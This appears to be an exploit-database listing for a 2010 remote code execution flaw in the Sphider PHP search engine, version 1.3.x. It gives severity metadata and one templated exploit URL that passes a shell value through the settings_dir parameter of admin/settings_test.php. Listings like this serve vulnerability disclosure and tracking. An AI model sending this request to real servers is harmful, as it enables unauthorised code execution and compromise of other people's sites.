header-logo
Suggest Exploit
vendor:
Sphider
by:
XroGuE
7,5
CVSS
HIGH
Remote Code Execution
N/A
CWE
Product Name: Sphider
Affected Version From: 1.3.x
Affected Version To: 1.3.x
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

Sphider Script Remote Code Execution

Sphider is a web spider and search engine written in PHP, using MySQL as its back end database. Sphider is vulnerable to Remote Code Execution. Exploit: http://[target]/[path]/admin/settings_test.php?settings_dir=[shell]

Mitigation:

N/A
Source

Exploit-DB raw data: